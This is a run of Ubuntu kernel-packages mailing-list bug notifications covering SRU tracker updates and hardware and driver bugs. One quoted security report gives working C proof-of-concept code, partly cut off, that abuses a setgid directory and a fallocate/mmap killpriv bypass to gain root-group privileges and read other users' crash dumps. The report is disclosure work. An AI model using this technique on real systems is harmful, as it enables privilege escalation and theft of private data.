[Kernel-packages] [Bug 1787162] Re: linux-gcp: 4.15.0-1018.19~16.04.2 -proposed tracker
** Changed in: kernel-sru-workflow/promote-to-proposed Status: In Progress => Fix Committed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-gcp in Ubuntu. https://bugs.launchpad.net/bugs/1787162 Title: linux-gcp: 4.15.0-1018.19~16.04.2 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: New Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Committed Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow snap-release-to-beta series: New Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: New Status in Kernel SRU Workflow snap-release-to-stable series: Invalid Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-gcp package in Ubuntu: Invalid Status in linux-gcp source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1787149 phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787162/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1776155] Re: Touchpad detected as SYNA3602, does not work at all.
Yes, please do. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1776155 Title: Touchpad detected as SYNA3602, does not work at all. Status in linux package in Ubuntu: Confirmed Bug description: On my cheaper-end slimline laptop/netbook the touchpad is (I think wrongly) detected by Linux to be the SYNA 3602. Anyway it does not work at all, neither touchpad nor buttons. Freshly installed Ubuntu 18.04 system. External mouse works fine. It seems that there is a bug reported on a similar issue, although I can not confirm that my touchpad hardware is exactly the same: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1688625 If so, there may be a whole new generation of slimline Windows 10 netbooks that have this problem. martin@alanah:~$ cat /proc/bus/input/devices I: Bus=0011 Vendor=0001 Product=0001 Version=ab83 N: Name="AT Translated Set 2 keyboard" P: Phys=isa0060/serio0/input0 S: Sysfs=/devices/platform/i8042/serio0/input/input2 U: Uniq= H: Handlers=sysrq kbd event2 leds B: PROP=0 B: EV=120013 B: KEY=40200 3803078f800d001 fedfffef fffe B: MSC=10 B: LED=7 I: Bus=0018 Vendor=0911 Product=5288 Version=0100 N: Name="SYNA3602:00 0911:5288 Touchpad" P: Phys=i2c-SYNA3602:00 S: Sysfs=/devices/pci:00/:00:16.1/i2c_designware.1/i2c-5/i2c-SYNA3602:00/0018:0911:5288.0001/input/input15 U: Uniq= H: Handlers=mouse0 event14 B: PROP=5 B: EV=1b B: KEY=e420 3 0 0 0 0 B: ABS=2608003 B: MSC=20 I: Bus=0003 Vendor=045e Product=00b9 Version=0111 N: Name="Microsoft Microsoft USB Wireless Mouse" P: Phys=usb-:00:15.0-1/input0 S: Sysfs=/devices/pci:00/:00:15.0/usb1/1-1/1-1:1.0/0003:045E:00B9.0002/input/input16 U: Uniq= H: Handlers=mouse1 event15 B: PROP=0 B: EV=17 B: KEY=1f 0 0 0 0 B: REL=1c3 B: MSC=10 ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-20-generic 4.15.0-20.21 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CurrentDesktop: MATE Date: Mon Jun 11 07:57:56 2018 InstallationDate: Installed on 2018-04-25 (46 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Beta amd64 (20180404) SourcePackage: linux-signed UpgradeStatus: No upgrade log present (probably fresh install) --- ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: martin 1536 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-04-25 (48 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Beta amd64 (20180404) MachineType: Multicom Multicom U230 Package: linux (not installed) ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-20-generic root=UUID=c7a82fee-6e9d-491d-a38d-f5d6bdb4a930 ro ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 RelatedPackageVersions: linux-restricted-modules-4.15.0-20-generic N/A linux-backports-modules-4.15.0-20-generic N/A linux-firmware 1.173 Tags: bionic Uname: Linux 4.15.0-20-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 09/15/2017 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: ORO10x.WP313P.NHNAUHL01 dmi.board.asset.tag: Default string dmi.board.name: Default string dmi.board.vendor: Default string dmi.board.version: Default string dmi.chassis.asset.tag: Default string dmi.chassis.type: 10 dmi.chassis.vendor: Default string dmi.chassis.version: Default string dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrORO10x.WP313P.NHNAUHL01:bd09/15/2017:svnMulticom:pnMulticomU230:pvrDefaultstring:rvnDefaultstring:rnDefaultstring:rvrDefaultstring:cvnDefaultstring:ct10:cvrDefaultstring: dmi.product.family: U-series dmi.product.name: Multicom U230 dmi.product.version: Default string dmi.sys.vendor: Multicom To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1776155/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1786906] Re: "ACPI unsupported"
** Changed in: linux (Ubuntu) Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1786906 Title: "ACPI unsupported" Status in linux package in Ubuntu: Confirmed Bug description: While I'm using Ubuntu Server version on my laptop(HP omen 15, CPU:i5-8300H,GPU:GTX1050Ti), it always says "[ time.time] acpi INT3400:00: Unsupported event [0x86]", In Ubuntu Desktop version, after I turn on my computer, it'll not going on but stay at a screen and says "[ time.time] acpi INT3400:00: Unsupported event [0x86]" To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1786906/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1752772] Re: r8169 ethernet card don't work after returning from suspension
Hi. My config is as follows: lshw -C network *-network description: Ethernet interface product: RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller vendor: Realtek Semiconductor Co., Ltd. physical id: 0 bus info: pci@:04:00.0 logical name: enp4s0 version: 06 serial: 8c:89:a5:a4:74:87 size: 100Mbit/s capacity: 1Gbit/s width: 64 bits clock: 33MHz capabilities: pm msi pciexpress msix vpd bus_master cap_list ethernet physical tp 10bt 10bt-fd 100bt 100bt-fd 1000bt-fd autonegotiation configuration: autonegotiation=on broadcast=yes driver=r8168 driverversion=8.045.08-NAPI duplex=half latency=0 link=no multicast=yes port=twisted pair speed=100Mbit/s resources: irq:33 ioport:d000(size=256) memory:da104000-da104fff memory:da10-da103fff *-network description: Wireless interface physical id: 3 bus info: usb@2:1.6 logical name: wlx0008ca2fb98d serial: 00:08:ca:2f:b9:8d capabilities: ethernet physical wireless configuration: broadcast=yes driver=r8712u ip=192.168.178.36 multicast=yes wireless=IEEE 802.11bg root@mediaserver:/lib/systemd/system-sleep# uname -r 4.15.0-32-generic And I am affected by this bug. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1752772 Title: r8169 ethernet card don't work after returning from suspension Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Released Bug description: ===SRU Justification=== [Impact] Ethernet r8169 stops working after system resumed from suspend. [Test] User confirmed these patches fix the issue. r8169 continues to work after resume from suspend. [Regression Potential] Medium. The fix is limited to one device, all patches are in mainline. The WOL default change might cause regression for users that depend on BIOS settings. We can advice them to use userspace tool (systemd, ethtool, etc.) instead. ===Original Bug Report=== I have noticed that the network stopped working on my desktop after I've suspended the system and woke it up. On dmesg there are messages like: [ 150.877998] IPv6: ADDRCONF(NETDEV_UP): enp1s0: link is not ready [ 150.944101] do_IRQ: 3.37 No irq handler for vector [ 150.944105] r8169 :01:00.0 enp1s0: link down [ 150.944180] IPv6: ADDRCONF(NETDEV_UP): enp1s0: link is not ready When using Xenial (from a different install), this problem is not happening. This is happening on Bionic. There are only two ways to restore connectivity: 1) Reboot the system; 2) Remove the r8169 module and reinsert it with modprobe. The motherboard is a AsRock H55M-LE and the Ethernet controller is: 01:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 03) ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: linux-firmware 1.172 ProcVersionSignature: Ubuntu 4.15.0-10.11-generic 4.15.3 Uname: Linux 4.15.0-10-generic x86_64 ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 CurrentDesktop: LXDE Date: Fri Mar 2 00:21:57 2018 Dependencies: InstallationDate: Installed on 2018-02-26 (3 days ago) InstallationMedia: Lubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180226) PackageArchitecture: all SourcePackage: linux-firmware UpgradeStatus: No upgrade log present (probably fresh install) --- AlsaVersion: Advanced Linux Sound Architecture Driver Version k4.15.0-10-generic. ApportVersion: 2.20.8-0ubuntu10 Architecture: amd64 ArecordDevices: List of CAPTURE Hardware Devices card 0: MID [HDA Intel MID], device 0: VT1818S Analog [VT1818S Analog] Subdevices: 1/1 Subdevice #0: subdevice #0 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: usuario1153 F pulseaudio /dev/snd/controlC1: usuario1153 F pulseaudio Card0.Amixer.info: Card hw:0 'MID'/'HDA Intel MID at 0xfbdf8000 irq 26' Mixer name : 'VIA VT1818S' Components : 'HDA:11060440,18492818,0010' Controls : 40 Simple ctrls : 17 Card1.Amixer.info: Card hw:1 'HDMI'/'HDA ATI HDMI at 0xfbffc000 irq 27' Mixer name : 'ATI R6xx HDMI' Components : 'HDA:1002aa01,00aa0100,00100200' Controls : 7 Simple ctrls : 1 Card1.Amixer.values: Simple mixer control 'IEC958',0 Capabilities: pswitch pswitch-joined Playback channels: Mono Mono: Playback [on] CurrentDesktop: LXDE Dependencies: DistroRelease: Ubuntu 18.04 HibernationDevice: RESUME=UUID=edd83175-c707-4b31-90d2-ce2f5cebc73f InstallationDate: Installed on 2018-02-26 (3 days ago) InstallationMedia: Lubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180226) MachineType: To Be Filled By O.E.M. To Be
[Kernel-packages] [Bug 1787156] Re: linux-gcp: 4.15.0-1018.19 -proposed tracker
** Changed in: kernel-sru-workflow/snap-release-to-beta Status: Confirmed => Fix Released ** Changed in: kernel-sru-workflow/snap-release-to-candidate Status: New => Confirmed ** Changed in: kernel-sru-workflow/snap-release-to-edge Status: Confirmed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-gcp in Ubuntu. https://bugs.launchpad.net/bugs/1787156 Title: linux-gcp: 4.15.0-1018.19 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Confirmed Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Confirmed Status in Kernel SRU Workflow security-signoff series: In Progress Status in Kernel SRU Workflow snap-release-to-beta series: Fix Released Status in Kernel SRU Workflow snap-release-to-candidate series: Confirmed Status in Kernel SRU Workflow snap-release-to-edge series: Fix Released Status in Kernel SRU Workflow snap-release-to-stable series: Invalid Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: Confirmed Status in linux-gcp package in Ubuntu: Invalid Status in linux-gcp source package in Bionic: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1787149 phase: Promoted to proposed proposed-announcement-sent: true proposed-testing-requested: true To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787156/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1759848] Re: Allow multiple mounts of zfs datasets
Tested with zfsutils-linux 0.6.5.6-0ubuntu24 and linux 4.4.0-134 with test in comment #2 and this now works. Marking as verified for Xenial ** Tags removed: verification-needed-xenial ** Tags added: verification-done-xenial -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to zfs-linux in Ubuntu. https://bugs.launchpad.net/bugs/1759848 Title: Allow multiple mounts of zfs datasets Status in linux package in Ubuntu: Fix Released Status in zfs-linux package in Ubuntu: Fix Released Status in linux source package in Xenial: Fix Committed Status in zfs-linux source package in Xenial: Fix Committed Status in linux source package in Bionic: Fix Released Status in zfs-linux source package in Bionic: Fix Released Bug description: === SRU Justification, Xenial == An attempt to mount an already mounted zfs dataset should return a new mount referencing the existing super block, but instead it returns an error. Operations such as bind mounts and unsharing mount namespaces create new mounts for the sb, which can cause operations to fail which involve unmounting and remounting the dataset. == Fix == Backport of upstream fix https://trello.com/c/l89Ygj28/352-allow- multiple-mounts-of-zfs-datasets to allow multiple mounts This fix from Seth addresses this issue == Regression potential == Like all backports, this has a potential to be incorrectly backported and break the ZFS mounting. However, any breakage should be picked up via the ZFS smoke tests that thoroughly exercise mounting/dismounting options. At worst, the mounting won't work, but this has been tested, so I doubt this is a possibility. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1759848/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1762940] Re: Ubuntu 18.04 d-i install screen becomes blurry on Huawei server in EFI boot mode
I just tested with /boot/vmlinuz-4.15.0-29-generic which from my laptop ( to replace install/vmlinuz with this file), it would be screen blur. If I use 4.15.0-32-generic, blur would disappear. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1762940 Title: Ubuntu 18.04 d-i install screen becomes blurry on Huawei server in EFI boot mode Status in linux package in Ubuntu: Triaged Status in install-package source package in Bionic: New Status in linux source package in Bionic: Triaged Bug description: For all(as I know) Huawei servers, the vga adapter are embed in the iBMC chips. Those server can install from ISO manually for 16.04.4 and screen display normally. But for 18.04 ( tested both for daily and final beta)version, the install screen is blur. One of tested server is Huawei 2855 v5, the certification link for 16.04 are https://certification.ubuntu.com/hardware/201707-25596/. Below are key difference of dmesg. It seems might related with DRM. 18.04 install screen is blur dmesg ... [2.039009] fb0: EFI VGA frame buffer device ... [4.178058] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013). [4.191435] [drm] No driver support for vblank timestamp query. [4.209338] checking generic (9000 30) vs hw (0 0) [4.209384] fbcon: hibmcdrmfb (fb1) is primary device [4.209385] fbcon: Remapping primary device, fb1, to tty 1-63 ... [5.357024] hibmc-drm :07:00.0: fb1: hibmcdrmfb frame buffer device [5.380085] [drm] Initialized hibmc 1.0.0 20160828 for :07:00.0 on minor 0 ... [5.636624] vga16fb: initializing [5.636627] vga16fb: mapped to 0x48a7a1d2 [5.636630] checking generic (9000 30) vs hw (a 1) [5.636676] fb2: VGA16 VGA frame buffer device ... 16.04.4 install screen is fine (no screen blur) dmesg ... [2.000419] fb0: EFI VGA frame buffer device [8.795065] vga16fb: initializing [8.795068] vga16fb: mapped to 0x880a [8.795071] checking generic (9800 30) vs hw (a 1) [8.795121] fb1: VGA16 VGA frame buffer device ... To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1762940/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1620762] Re: Support AverMedia DVD EZMaker 7 USB video capture dongle
Hi Eldar or anyone else involved, Could you please verify if the xenial kernel currently in -proposed fixes the issue? Thank you. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1620762 Title: Support AverMedia DVD EZMaker 7 USB video capture dongle Status in linux package in Ubuntu: Fix Released Status in linux source package in Xenial: Fix Committed Bug description: Linux doesn't support this capture. Link to patch https://www.linuxtv.org/wiki/index.php/AVerMedia_DVD_EZMaker_7_(C039). I tested it on Ubuntu 16.04 - OK. It will be great if this patch is built-in to kernel. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1620762/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1787162] Re: linux-gcp: 4.15.0-1018.19~16.04.2 -proposed tracker
** Changed in: kernel-sru-workflow/promote-to-proposed Status: Confirmed => In Progress ** Changed in: kernel-sru-workflow/promote-to-proposed Assignee: Ubuntu Stable Release Updates Team (ubuntu-sru) => Łukasz Zemczak (sil2100) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-gcp in Ubuntu. https://bugs.launchpad.net/bugs/1787162 Title: linux-gcp: 4.15.0-1018.19~16.04.2 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: New Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: In Progress Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow snap-release-to-beta series: New Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: New Status in Kernel SRU Workflow snap-release-to-stable series: Invalid Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-gcp package in Ubuntu: Invalid Status in linux-gcp source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1787149 phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787162/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785788] Re: NFS breaks after wake from suspend
I've also just run into this bug - I hope to be able to test the upstream kernel on the client over the weekend, although the difficulty of triggering the bug on demand makes conclusive statements a bit tricky This looks like it could be the same bug reported at https://bugzilla.redhat.com/show_bug.cgi?id=1552037 , so it's probably worthwhile trying the workaround mentioned in comment 14 there and see if that helps. ** Bug watch added: Red Hat Bugzilla #1552037 https://bugzilla.redhat.com/show_bug.cgi?id=1552037 -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785788 Title: NFS breaks after wake from suspend Status in linux package in Ubuntu: Incomplete Bug description: Hello, I am observing all symptoms of debian bug 898060 (https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=898060) on ubuntu bionic 4.15.0-23-generic x86_64 clients with a Centos7 NFS server (3.10.0-693.21.1.el7.x86_64). After a wake from suspend the server always logs kernel: NFSD: client 2001:638:redacted testing state ID with incorrect client ID which is not observed with ubuntu 16.04 (kernel 4.4) clients. Sporadically after wake from suspend (takes days to weeks to trigger) the server logs are flooded with messages of the type kernel: RPC request reserved 84 but used 276 and NFS on the client does not work any more. This also has not been observed with our 20 or so ubuntu 16.04 NFS clients in the last two years. Rebooting the client appears to stop the log flooding on the server and NFS works normally after the reboot. Remark: systemd hangs during shutdown, presumably waiting for the NFS mount to stop, the power button is the only remaining option. I will upgrade to the latest bionic kernel later and try to trigger this again. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1785788/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass
Hi @jannh,
Could you please verify if the kernels currently in -proposed fix the
issue?
Thank you.
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1779923
Title:
other users' coredumps can be read via setgid directory and killpriv
bypass
Status in linux package in Ubuntu:
In Progress
Status in linux source package in Trusty:
Fix Committed
Status in linux source package in Xenial:
Fix Committed
Status in linux source package in Bionic:
Fix Committed
Status in linux source package in Cosmic:
In Progress
Bug description:
Note: I am both sending this bug report to secur...@kernel.org and filing it
in
the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
or as a Ubuntu bug. You may wish to talk to each other to determine the best
place to fix this.
I noticed halfdog's old writeup at
https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
, describing essentially the following behavior in combination with a
trick for then writing to the resulting file without triggering the
killpriv logic:
=
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat > demo.c
#include
int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
user@debian:~/sgid_demo$ gcc -o demo demo.c
user@debian:~/sgid_demo$ ./demo
user@debian:~/sgid_demo$ ls -l dir/file
-rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
=
Two patches for this were proposed on LKML back then:
"[PATCH 1/2] fs: Check f_cred instead of current's creds in
should_remove_suid()"
https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.l...@kernel.org/
"[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid
directory"
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.l...@kernel.org/
However, as far as I can tell, neither of them actually landed.
You can also bypass the killpriv logic with fallocate() and mmap() -
fallocate() permits resizing the file without triggering killpriv,
mmap() permits writing without triggering killpriv (the mmap part is mentioned
at
https://lore.kernel.org/lkml/cagxu5jlu6ogkqugqrcoyq6dabowz9hx3fuq+-zc7njlukgk...@mail.gmail.com/
):
=
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat fallocate.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
int main(void) {
int src_fd = open("/usr/bin/id", O_RDONLY);
if (src_fd == -1)
err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, _stat))
err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
err(1, "mmap 2");
int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
err(1, "open");
if (fallocate(fd, 0, 0, src_len))
err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd,
0);
if (mapping == MAP_FAILED)
err(1, "mmap");
memcpy(mapping, src_mapping, src_len);
munmap(mapping, src_len);
close(fd);
close(src_fd);
execl("./dir/file", "id", NULL);
err(1, "execl");
}
user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
user@debian:~/sgid_demo$ ./fallocate
uid=1000(user) gid=1000(user) egid=0(root)
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
=
sys_copy_file_range() also looks as if it bypasses killpriv on
supported filesystems, but I haven't tested that one so far.
On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
contains group-readable crashdumps in some custom format, so you can use this
issue to steal other users' crashdumps:
=
user@ubuntu-18-04-vm:~$ ls -l /var/crash
total 296
-rw-r- 1 user whoopsie 16527 Jun 25 22:27
_usr_bin_apport-unpack.1000.crash
-rw-r- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash
user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash
cat: /var/crash/_usr_bin_id.0.crash: Permission denied
user@ubuntu-18-04-vm:~$ cat fallocate.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char **argv) {
if (argc != 2) {
printf("usage: ./fallocate ");
return 1;
}
int src_fd = open("/bin/cat", O_RDONLY);
[Kernel-packages] [Bug 1787983] Re: linux-lts-trusty: 3.13.0-157.207~precise1 -proposed tracker
** Changed in: kernel-sru-workflow/prepare-package Status: In Progress => Fix Released ** Changed in: kernel-sru-workflow/prepare-package-meta Status: In Progress => Fix Released ** Changed in: kernel-sru-workflow/prepare-package-signed Status: In Progress => Fix Released ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-stable-master-bug: 1787982 phase: Packaging + kernel-stable-phase:Uploaded + kernel-stable-phase-changed:Tuesday, 21. August 2018 09:00 UTC ** Description changed: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-stable-master-bug: 1787982 - phase: Packaging - kernel-stable-phase:Uploaded - kernel-stable-phase-changed:Tuesday, 21. August 2018 09:00 UTC + phase: Uploaded -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-lts-trusty in Ubuntu. https://bugs.launchpad.net/bugs/1787983 Title: linux-lts-trusty: 3.13.0-157.207~precise1 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Invalid Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: New Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-lts-trusty package in Ubuntu: Invalid Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-stable-master-bug: 1787982 phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1787983/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1787156] Re: linux-gcp: 4.15.0-1018.19 -proposed tracker
